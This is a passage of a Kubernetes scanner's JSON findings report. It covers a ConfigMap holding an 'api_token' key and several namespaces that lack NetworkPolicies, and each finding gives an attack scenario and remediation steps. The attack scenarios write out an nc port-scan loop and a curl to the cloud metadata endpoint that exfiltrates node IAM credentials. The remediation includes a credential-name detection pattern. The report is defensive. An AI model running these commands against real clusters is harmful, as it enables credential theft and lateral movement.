        "url": "https://kubernetes.io/docs/concepts/configuration/configmap/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:configMapHighConfidenceCredential"
    ]
  },
  {
    "id": "KUBE-CONFIGMAP-CREDS-001:vulnerable:app-config:api_token",
    "rule_id": "KUBE-CONFIGMAP-CREDS-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "data_exfiltration",
    "title": "ConfigMap `vulnerable/app-config` has key `api_token` matching a credential-name pattern",
    "description": "ConfigMap `vulnerable/app-config` contains the key `api_token`. The key name matches a high-confidence credential pattern (`password`, `passwd`, `secret`, `token`, `api_key`/`apikey`, `aws_secret_access_key`, `dsn`, `connection_string`, etc.). The kubesplaining collector preserves ConfigMap keys but redacts values to maintain the cluster's privacy contract, so this rule cannot inspect the value, only the key name.\n\nThe risk is the same as `KUBE-CONFIGMAP-001`: ConfigMap data is non-sensitive by design. etcd does not encrypt it (encryption-at-rest is opt-in and almost always limited to Secrets), `kubectl describe configmap` prints values inline, audit logs include payloads on `get`/`list`, and the namespace-default `view` and `edit` cluster-role bindings give workload SAs much wider read on ConfigMaps than on Secrets. Storing a credential in a ConfigMap therefore exposes it to a *much larger* set of subjects than the equivalent Secret would.\n\nBecause this rule fires per-(ConfigMap, key) pair (versus `KUBE-CONFIGMAP-001` which surfaces a list of matched keys per ConfigMap), it produces a more granular finding stream. Use it for triage when you have many ConfigMaps to audit. Keys that match in name but not intent (`password_strength_requirement`, `api_key_format_version`, `cache_key_prefix`) are expected false positives: review the value out-of-band before treating as a real leak.",
    "resource": {
      "kind": "ConfigMap",
      "name": "app-config",
      "namespace": "vulnerable"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "object",
      "detail": "ConfigMap `vulnerable/app-config`: key `api_token` is readable in plaintext to every subject with `get configmaps` in `vulnerable` and lands in unencrypted etcd, audit logs, and cluster backups."
    },
    "impact": "If the value of `api_token` in `vulnerable/app-config` is a real credential, that credential is exposed to every subject with `get configmaps` in `vulnerable`, which is typically every workload SA in the namespace via the default `view` cluster role.",
    "attack_scenario": [
      "Attacker compromises any workload in `vulnerable` whose ServiceAccount has `get configmaps` (the namespace-default `view` cluster role grants it; most pods running with the namespace `default` SA have it transitively).",
      "They `kubectl get configmap app-config -n vulnerable -o yaml` and read `data.api_token` directly. ConfigMap values are plaintext: no decoding required.",
      "They identify the credential class from the value's shape (`postgres://user:pass@host/db` is a DSN, `eyJ...` is a JWT, AKIA-prefixed strings are AWS keys, `xoxb-` is Slack, `ghp_` is a GitHub token).",
      "They use the credential immediately. ConfigMap-stored credentials almost never have IP allowlists, short TTLs, or rotation automation: they were put in a ConfigMap *because* the team didn't want operational complexity.",
      "Detection lags. Audit-log review on ConfigMaps is rare in most clusters because ConfigMap reads are dominated by legitimate config-loading. The compromise typically surfaces only when the upstream credential is rotated for unrelated reasons."
    ],
    "evidence": {
      "matched_key": "api_token",
      "namespace": "vulnerable"
    },
    "remediation": "Verify whether `api_token` in `vulnerable/app-config` actually holds a credential; if so, move it to a Secret (or external secret store) and remove the key from the ConfigMap.",
    "remediation_steps": [
      "Inspect the value: `kubectl get cm app-config -n vulnerable -o jsonpath='{.data.api_token}'`. Confirm whether it's a real credential or a benign config (a feature-flag name, a cache prefix, a strength-requirement string).",
      "If it's a real credential, rotate at the source first (cloud IAM, OIDC IDP, registry, database). Treat the original value as fully exposed: anyone with `view` on `vulnerable` could have read it.",
      "Create a Secret with the new value: `kubectl create secret generic app-config-credentials -n vulnerable --from-literal=api_token=$NEW`. Update consumers to read from the Secret via `envFrom` or volume mount instead of `valueFrom: configMapKeyRef`.",
      "Remove the key from the ConfigMap: `kubectl patch cm app-config -n vulnerable --type=json -p='[{\"op\":\"remove\",\"path\":\"/data/api_token\"}]'`. Verify consumers still work (`kubectl rollout status`).",
      "Wire prevention: a Kyverno ClusterPolicy that warns on `ConfigMap.data` keys matching `password|secret|token|api_?key|aws_secret_access_key|dsn|connection_string`. Pair with External Secrets Operator so the path of least resistance is to use a real secret store."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/configmap/",
      "https://kubernetes.io/docs/concepts/configuration/secret/",
      "https://kubernetes.io/docs/concepts/security/secrets-good-practices/",
      "https://external-secrets.io/latest/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — ConfigMaps",
        "url": "https://kubernetes.io/docs/concepts/configuration/configmap/"
      },
      {
        "title": "Kubernetes — Secrets",
        "url": "https://kubernetes.io/docs/concepts/configuration/secret/"
      },
      {
        "title": "Kubernetes — Good practices for Secrets",
        "url": "https://kubernetes.io/docs/concepts/security/secrets-good-practices/"
      },
      {
        "title": "External Secrets Operator",
        "url": "https://external-secrets.io/latest/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.001",
        "name": "Credentials In Files",
        "url": "https://attack.mitre.org/techniques/T1552/001/"
      },
      {
        "id": "T1552.007",
        "name": "Container API",
        "url": "https://attack.mitre.org/techniques/T1552/007/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:secrets",
      "check:configMapHighConfidenceCredential"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:cert-manager",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `cert-manager` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `cert-manager` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "cert-manager",
      "namespace": "cert-manager"
    },
    "namespace": "cert-manager",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cert-manager`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `cert-manager` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "cert-manager"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `cert-manager`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `cert-manager`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n cert-manager --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:cloud-eks-imp",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `cloud-eks-imp` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `cloud-eks-imp` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "cloud-eks-imp",
      "namespace": "cloud-eks-imp"
    },
    "namespace": "cloud-eks-imp",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cloud-eks-imp`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `cloud-eks-imp` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "cloud-eks-imp"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `cloud-eks-imp`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `cloud-eks-imp`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n cloud-eks-imp --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:cloud-eks-test",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `cloud-eks-test` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `cloud-eks-test` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "cloud-eks-test",
      "namespace": "cloud-eks-test"
    },
    "namespace": "cloud-eks-test",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `cloud-eks-test`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `cloud-eks-test` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "cloud-eks-test"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `cloud-eks-test`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `cloud-eks-test`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n cloud-eks-test --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:containersec-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `containersec-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `containersec-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "containersec-fixtures",
      "namespace": "containersec-fixtures"
    },
    "namespace": "containersec-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `containersec-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `containersec-fixtures` and lands a shell.",
      "They scan the pod CIDR (`for i in $(seq 1 254); do nc -zv 10.244.0.$i 6379 5432 3306 27017; done`). Every database port across every namespace is reachable.",
      "They hit the cloud metadata endpoint `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/` and exfiltrate the node's IAM credentials.",
      "They establish outbound C2 to attacker-controlled IP/domain over 443 and tunnel harvested secrets, pod tokens, and DNS reconnaissance.",
      "They pivot cluster-wide: query kube-DNS for `*.svc.cluster.local`, identify Vault/Postgres/Redis, and authenticate with stolen tokens. Full lateral movement."
    ],
    "evidence": {
      "namespace": "containersec-fixtures"
    },
    "remediation": "Apply a default-deny-all NetworkPolicy in `containersec-fixtures`, then add minimal explicit allow policies for DNS plus each workload's actual ingress/egress dependencies.",
    "remediation_steps": [
      "Apply a default-deny baseline (`podSelector: {}`, `policyTypes: [Ingress, Egress]`) to `containersec-fixtures`.",
      "Add a tightly-scoped DNS allow policy (UDP/TCP 53 to kube-system). Without DNS every workload's hostname resolution will fail.",
      "For each workload, write an explicit allow policy: ingress from the named upstream and egress to its actual dependencies. Never `0.0.0.0/0`.",
      "Validate with a debug pod: `kubectl run -n containersec-fixtures --rm -it tmp --image=nicolaka/netshoot -- bash` confirming allowed paths work and disallowed paths time out.",
      "Wire CIS 5.3.2 / Kyverno's `require-network-policy` policy into CI so future namespaces ship with a baseline."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://www.cisecurity.org/benchmark/kubernetes",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "CIS Kubernetes Benchmark 5.3.2 — All namespaces should have NetworkPolicies",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guidance v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Calico — get started with Kubernetes NetworkPolicy",
        "url": "https://docs.tigera.io/calico/latest/network-policy/get-started/kubernetes-policy/kubernetes-network-policy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      },
      {
        "id": "T1090",
        "name": "Proxy",
        "url": "https://attack.mitre.org/techniques/T1090/"
      },
      {
        "id": "T1018",
        "name": "Remote System Discovery",
        "url": "https://attack.mitre.org/techniques/T1018/"
      },
      {
        "id": "T1046",
        "name": "Network Service Discovery",
        "url": "https://attack.mitre.org/techniques/T1046/"
      }
    ],
    "frameworks": [
      {
        "framework": "CIS-1.9",
        "control": "5.3.2",
        "title": "Ensure that all Namespaces have NetworkPolicies defined",
        "url": "https://www.cisecurity.org/benchmark/kubernetes"
      },
      {
        "framework": "NSA-CISA-1.2",
        "control": "Network Separation and Hardening",
        "title": "Network policies",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:noNetworkPolicies"
    ]
  },
  {
    "id": "KUBE-NETPOL-COVERAGE-001:Namespace:csr-fixtures",
    "rule_id": "KUBE-NETPOL-COVERAGE-001",
    "severity": "HIGH",
    "score": 7.4,
    "category": "lateral_movement",
    "title": "Namespace `csr-fixtures` has zero NetworkPolicies, so all pods accept any inbound and reach any outbound endpoint",
    "description": "Namespace `csr-fixtures` contains workloads but no NetworkPolicy objects. Without any policy selecting its pods, the Kubernetes networking model is allow-all in both directions: any pod in any namespace can open a TCP/UDP connection to any pod here, and any pod here can open arbitrary outbound connections (cluster pod CIDR, Services, node IPs, the cloud Instance Metadata Service at `169.254.169.254`, the public internet, and the API server).\n\nThis is the documented Kubernetes default. A pod is non-isolated for ingress/egress until at least one NetworkPolicy with the relevant `policyTypes` selects it. CIS Kubernetes Benchmark 5.3.2 and the NSA/CISA Hardening Guide v1.2 both require a default-deny baseline in every namespace.\n\nA single compromised pod (RCE, leaked credential, supply-chain backdoor) immediately gains the full L3/L4 reachability graph of the cluster: kube-DNS for service discovery, the cloud metadata service for IAM credentials, attacker-controlled C2 endpoints, and high-value pods (databases, vault, kube-system DaemonSets) all without crossing any policy boundary.",
    "resource": {
      "kind": "Namespace",
      "name": "csr-fixtures",
      "namespace": "csr-fixtures"
    },
    "namespace": "csr-fixtures",
    "scope": {
      "level": "namespace",
      "detail": "Namespace `csr-fixtures`: every workload inside inherits allow-all behavior"
    },
    "impact": "Any pod compromise becomes cluster-wide L3/L4 reach: lateral movement, credential theft from IMDS, and arbitrary egress to attacker C2 are all unblocked.",
    "attack_scenario": [
      "Attacker exploits an unpatched dependency in any pod in `csr-fixtures` and lands a shell.",
